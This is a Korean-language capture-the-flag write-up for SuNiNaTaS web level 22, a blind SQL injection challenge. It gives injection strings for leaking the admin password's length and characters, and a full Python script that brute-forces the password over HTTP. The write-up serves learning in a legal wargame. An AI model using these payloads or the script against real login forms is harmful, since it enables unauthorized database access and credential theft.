[SUNINATAS 22번] 문제풀이
WEB Level 22
써니나타스의 다음 웹 관련 문제는 level22번 문제입니다. 22번 문제는 Blind Sql Injection에 관한 문제입니다.
로그인 창이 하나있고, “Blind Sql Injection” 이라는 문구가 친절하게 써져있습니다. id와 pw를 써 넣는 곳이 있고, 이 곳에 넣은 값은 해당 프레임이 참조하는 데이터베이스의 쿼리문의 일부로 전달이 됩니다. 이 값을 개발자가 의도하지 않은 적절하지 않은 데이터를 삽입하면, 적절한 필터링이 안되어 있을 경우, 공격자가 임의로 데이터베이스를 조작하거나 참조할 수 있게 됩니다.
블라인드 SQL 인젝션의 경우에는, 데이터베이스 조작을 통해 직접적인 데이터베이스 내용을 볼 수는 없지만, 주로 참, 거짓을 판단하는 구문을 전달해, 각 상황에 따라 출력되는 메시지 또는 현상을 기준으로 데이터베이스를 추즉하여 값을 알아내거나 변조하는 방식의 공격방법입니다.
해당 레벨에서는 프레임 자체에도 나와있는 필터링 목록 뿐 아니라, , #, 등등 인젝션을 하는데 필요한 대부분의 구문들이 필터링 되어 있었습니다.
또한, pw에 어떤 값이든 반드시 값 입력이 이루어져야하고, 쿼리문의 결과가 참일 경우에는 OK 라는 문자와 함께 사용자이름, 거짓일 경우에는 False라는 문자와 함께 사용자이름을 출력하는 형태를 가지고 있습니다.
여러 가지 테스트를 통해 싱글쿼터[‘], 괄호[( or )], 주석처리[--] 등을 사용할 수 있다는 것을 확인했습니다.
level22의 페이지 구성 코드에 나타나 있는 힌트정보를 보면, 기본적으로 로그인 할 수 있는 계정과 암호로 guest/guest를 사용할 수 있다는 것과, 이 레벨에서의 목적이 admin 계정의 암호를 찾는 것이라는 것을 알 수 있었습니다.
필터링에 걸리지 않고, 허용된 쿼리문에 활용할 수 있는 문자들인 [‘], [=], [and], 형식만을 이용해서 admin의 비밀번호를 한 자리씩 확인할 수 있는 구문을 작성해 보았습니다.
Level22 블라인드 인젝션 구문
비밀번호길이 확인 | admin' and len(pw)=1--admin' and len(pw)=2-- ....admin' and len(pw)=10-- |
각 자리문자 확인 | admin' and substring(pw,1,1)='a'-- admin' and substring(pw,2,1)='a'-- ... admin' and substring(pw,10,1)='a'-- |
첫 번째 형식을 이용해서 admin 계정의 비밀번호의 길이를 알아 낼 수 있고, 그렇게 알아낸 비밀번호의 길이를 substring 함수를 이용해서 첫 번째 자리부터 순서대로 어떤 문자를 가지고 있는지 대입해보고 출력되는 에러나, 상태를 통해 전체 비밀번호가 무엇인지 알아낼 수 있습니다.
하지만, 모든 문자를 직접 대입해보기에는 그 범위가 너무 넓습니다. 따라서, 아스키 코드를 참고하여 코드를 만들어서 풀어보았습니다.
비밀번호에 사용할 수 있는 문자는 아스키 10진수 값으로 32~126에 해당하는 값들입니다.
문제 풀이를 위한 파이썬 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | import requests URL="http://suninatas.com/Part_one/web22/web22.asp?id=" session=requests.Session() USER="admin" cookie={ "ASPSESSIONIDSQASCQBR":"NIPNAPJAAMFHGAMOBJLBNBGA" } result=[] index=0 for i in range(1,20) : req1=session.get(URL+USER+"' and len(pw)="+str(i)+"--&pw=1",cookies=cookie) if (req1.text.find("OK") > 0) : print ("Total Length : "+str(i)) for j in range(1,i+1) : for k in range(32,127) : req2=session.get(URL+USER+"' and substring(pw,"+str(j)+",1)='"+chr(k)+"'--&pw=1",cookies=cookie) if (req2.text.find("OK") > 0 ) : result.insert(index,chr(k)) print (chr(k)) index += 1 if (index==i): print (USER+"'s password : "+''.join(result)) input("Press any KEY to exit..") exit (0) break | cs |